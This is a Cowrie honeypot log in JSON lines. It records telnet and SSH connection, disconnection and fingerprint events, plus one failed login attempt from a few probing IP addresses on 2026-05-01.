{"eventid":"cowrie.session.closed","duration":39.22355318069458,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:45.585624Z","src_ip":"159.203.13.64","session":"1e6fd83b517b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.01952576637268,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:45.602382Z","src_ip":"159.203.13.64","session":"abd133c8d42b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40862,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96c0807491c","protocol":"telnet","message":"New connection: 159.203.13.64:40862 (10.17.0.5:23) [session: f96c0807491c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:46.792977Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40866,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa421900f7f3","protocol":"telnet","message":"New connection: 159.203.13.64:40866 (10.17.0.5:23) [session: aa421900f7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:46.951989Z"}
{"eventid":"cowrie.session.closed","duration":38.957056283950806,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:47.288009Z","src_ip":"159.203.13.64","session":"a89989d2d8c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60650,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc7e0308751","protocol":"telnet","message":"New connection: 80.252.221.197:60650 (159.203.135.109:23) [session: bdc7e0308751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:47.701979Z"}
{"eventid":"cowrie.session.closed","duration":36.67087435722351,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:47.756551Z","src_ip":"159.203.13.64","session":"e69e16554766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.71324110031128,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:48.145605Z","src_ip":"80.252.221.197","session":"19a3185c8d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00269794464111,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:48.237542Z","src_ip":"80.252.221.197","session":"a1bea220040c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40878,"dst_ip":"10.17.0.5","dst_port":23,"session":"4236d5de91f9","protocol":"telnet","message":"New connection: 159.203.13.64:40878 (10.17.0.5:23) [session: 4236d5de91f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:49.408559Z"}
{"eventid":"cowrie.session.closed","duration":43.2832510471344,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:50.370385Z","src_ip":"159.203.13.64","session":"39c299bc0148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44416,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a6e72170012","protocol":"ssh","message":"New connection: 159.203.92.129:44416 (159.203.135.109:22) [session: 6a6e72170012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:50.712943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:50.717282Z","src_ip":"159.203.92.129","session":"6a6e72170012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:50.722439Z","src_ip":"159.203.92.129","session":"6a6e72170012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alicson","password":"alicson","message":"login attempt [alicson/alicson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:50.747902Z","src_ip":"159.203.92.129","session":"6a6e72170012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.327080965042114,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:50.885303Z","src_ip":"159.203.13.64","session":"97fb3a68fe24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60658,"dst_ip":"159.203.135.109","dst_port":23,"session":"acad74543478","protocol":"telnet","message":"New connection: 80.252.221.197:60658 (159.203.135.109:23) [session: acad74543478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:51.162898Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58214,"dst_ip":"10.17.0.5","dst_port":23,"session":"7921caba2f96","protocol":"telnet","message":"New connection: 159.203.13.64:58214 (10.17.0.5:23) [session: 7921caba2f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:51.323619Z"}
{"eventid":"cowrie.session.closed","duration":37.46948552131653,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:51.427258Z","src_ip":"80.252.221.197","session":"eb39c38bee27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:51.793858Z","src_ip":"159.203.92.129","session":"6a6e72170012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.75274848937988,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:53.047060Z","src_ip":"159.203.13.64","session":"c2d052fac3d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"4948f9dc6c68","protocol":"telnet","message":"New connection: 159.203.13.64:58222 (10.17.0.5:23) [session: 4948f9dc6c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:53.687657Z"}
{"eventid":"cowrie.session.closed","duration":33.343585729599,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:54.825124Z","src_ip":"80.252.221.197","session":"3ca7ce293f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58228,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf65a04dee9","protocol":"telnet","message":"New connection: 159.203.13.64:58228 (10.17.0.5:23) [session: acf65a04dee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:59.511699Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58232,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4cf96f6d297","protocol":"telnet","message":"New connection: 159.203.13.64:58232 (10.17.0.5:23) [session: a4cf96f6d297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:59.907573Z"}
{"eventid":"cowrie.session.closed","duration":38.93828082084656,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:00.490815Z","src_ip":"159.203.13.64","session":"57ee141191e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43396,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6e4e27029e","protocol":"telnet","message":"New connection: 159.203.13.64:43396 (10.17.0.5:23) [session: 2a6e4e27029e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:00.833570Z"}
{"eventid":"cowrie.session.closed","duration":34.46148872375488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:01.513804Z","src_ip":"80.252.221.197","session":"1de44c197827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":54310,"dst_ip":"159.203.135.109","dst_port":23,"session":"edaee381bcc9","protocol":"telnet","message":"New connection: 80.252.221.197:54310 (159.203.135.109:23) [session: edaee381bcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:03.647453Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43404,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eb75ec083a2","protocol":"telnet","message":"New connection: 159.203.13.64:43404 (10.17.0.5:23) [session: 6eb75ec083a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:04.935469Z"}
{"eventid":"cowrie.session.closed","duration":33.53483462333679,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:05.831504Z","src_ip":"80.252.221.197","session":"b55ba3386927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38685464859009,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:06.084779Z","src_ip":"80.252.221.197","session":"2b3b5a8fea3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43412,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bc39af25610","protocol":"telnet","message":"New connection: 159.203.13.64:43412 (10.17.0.5:23) [session: 3bc39af25610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:06.340742Z"}
{"eventid":"cowrie.session.closed","duration":35.607527017593384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:07.049765Z","src_ip":"80.252.221.197","session":"d9ff7cbf7df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43428,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5789ba3bdf","protocol":"telnet","message":"New connection: 159.203.13.64:43428 (10.17.0.5:23) [session: ba5789ba3bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:07.577502Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43442,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f75e65b6311","protocol":"telnet","message":"New connection: 159.203.13.64:43442 (10.17.0.5:23) [session: 4f75e65b6311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:07.767977Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":52732,"dst_ip":"159.203.135.109","dst_port":23,"session":"7910f2f2824e","protocol":"telnet","message":"New connection: 80.252.221.197:52732 (159.203.135.109:23) [session: 7910f2f2824e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:10.332829Z"}
{"eventid":"cowrie.session.closed","duration":34.174444913864136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:11.652101Z","src_ip":"80.252.221.197","session":"37997abe95a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.63393259048462,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:11.986639Z","src_ip":"80.252.221.197","session":"a72e13cf0fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.19510316848755,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:14.105309Z","src_ip":"159.203.13.64","session":"4765ce319cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39020,"dst_ip":"10.17.0.5","dst_port":23,"session":"8402c74ff4c0","protocol":"telnet","message":"New connection: 159.203.13.64:39020 (10.17.0.5:23) [session: 8402c74ff4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:14.236745Z"}
{"eventid":"cowrie.session.closed","duration":36.47326326370239,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:14.947337Z","src_ip":"80.252.221.197","session":"e95819a7bb0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.45256161689758,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:15.434294Z","src_ip":"80.252.221.197","session":"ddbdf89807f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"805bebed1b2c","protocol":"telnet","message":"New connection: 159.203.13.64:39034 (10.17.0.5:23) [session: 805bebed1b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:15.839981Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39036,"dst_ip":"10.17.0.5","dst_port":23,"session":"480fb52806ce","protocol":"telnet","message":"New connection: 159.203.13.64:39036 (10.17.0.5:23) [session: 480fb52806ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:16.171454Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"97a8fdc92ee0","protocol":"telnet","message":"New connection: 159.203.13.64:39042 (10.17.0.5:23) [session: 97a8fdc92ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:16.997137Z"}
{"eventid":"cowrie.session.closed","duration":31.976701736450195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:18.769576Z","src_ip":"159.203.13.64","session":"f96c0807491c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14677429199219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:19.098646Z","src_ip":"159.203.13.64","session":"aa421900f7f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.492318868637085,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:19.530075Z","src_ip":"159.203.13.64","session":"efbde8d02599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac05e5dd6ed7","protocol":"telnet","message":"New connection: 159.203.13.64:39048 (10.17.0.5:23) [session: ac05e5dd6ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:19.598501Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59650,"dst_ip":"159.203.135.109","dst_port":23,"session":"c065c20081dc","protocol":"telnet","message":"New connection: 80.252.221.197:59650 (159.203.135.109:23) [session: c065c20081dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:19.993114Z"}
{"eventid":"cowrie.session.closed","duration":34.80734658241272,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.004776Z","src_ip":"80.252.221.197","session":"19cd89056dbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81075620651245,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.013665Z","src_ip":"80.252.221.197","session":"a8611f8b7d94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59660,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab5c4cdf283","protocol":"telnet","message":"New connection: 80.252.221.197:59660 (159.203.135.109:23) [session: 9ab5c4cdf283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.045350Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59674,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc33087e6bc","protocol":"telnet","message":"New connection: 80.252.221.197:59674 (159.203.135.109:23) [session: 3cc33087e6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.115535Z"}
{"eventid":"cowrie.session.closed","duration":38.017935276031494,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.309264Z","src_ip":"159.203.13.64","session":"b49d172f4322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.84934902191162,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.422559Z","src_ip":"159.203.13.64","session":"57fd57351d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.640459060668945,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:20.427689Z","src_ip":"159.203.13.64","session":"47a1276fc35c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59406,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1f3ced9fd1","protocol":"telnet","message":"New connection: 159.203.13.64:59406 (10.17.0.5:23) [session: ce1f3ced9fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:21.063391Z"}
{"eventid":"cowrie.session.closed","duration":36.35218167304993,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:21.107309Z","src_ip":"80.252.221.197","session":"76e17908cebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59684,"dst_ip":"159.203.135.109","dst_port":23,"session":"54fe24ffbfdf","protocol":"telnet","message":"New connection: 80.252.221.197:59684 (159.203.135.109:23) [session: 54fe24ffbfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:21.117210Z"}
{"eventid":"cowrie.session.closed","duration":36.69297504425049,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:21.159124Z","src_ip":"80.252.221.197","session":"77394855c83c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a46962e4ce1b","protocol":"telnet","message":"New connection: 159.203.13.64:59422 (10.17.0.5:23) [session: a46962e4ce1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:21.209708Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59428,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebbd1c038bf","protocol":"telnet","message":"New connection: 159.203.13.64:59428 (10.17.0.5:23) [session: cebbd1c038bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:23.111594Z"}
{"eventid":"cowrie.session.closed","duration":36.39577794075012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:24.097661Z","src_ip":"80.252.221.197","session":"bdc7e0308751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01567482948303,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:24.178472Z","src_ip":"80.252.221.197","session":"acad74543478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.07674813270569,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:24.566280Z","src_ip":"159.203.13.64","session":"aabf695464fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59434,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ac9dd38b7b","protocol":"telnet","message":"New connection: 159.203.13.64:59434 (10.17.0.5:23) [session: d6ac9dd38b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:25.409945Z"}
{"eventid":"cowrie.session.closed","duration":45.19517374038696,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:26.360356Z","src_ip":"159.203.13.64","session":"5914abea7381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.27236199378967,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:27.327997Z","src_ip":"159.203.13.64","session":"62b4ad5e44a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":52716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc5fb628957","protocol":"telnet","message":"New connection: 80.252.221.197:52716 (159.203.135.109:23) [session: ddc5fb628957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:27.940147Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59446,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e9e3d7dd2ab","protocol":"telnet","message":"New connection: 159.203.13.64:59446 (10.17.0.5:23) [session: 0e9e3d7dd2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:29.268519Z"}
{"eventid":"cowrie.session.closed","duration":38.81189703941345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:30.135404Z","src_ip":"159.203.13.64","session":"7921caba2f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89310836791992,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:30.580668Z","src_ip":"159.203.13.64","session":"4948f9dc6c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37414,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac3005c6359","protocol":"telnet","message":"New connection: 159.203.13.64:37414 (10.17.0.5:23) [session: fac3005c6359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:32.717885Z"}
{"eventid":"cowrie.session.closed","duration":33.78782248497009,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:33.695242Z","src_ip":"159.203.13.64","session":"a4cf96f6d297","protocol":"telnet"}
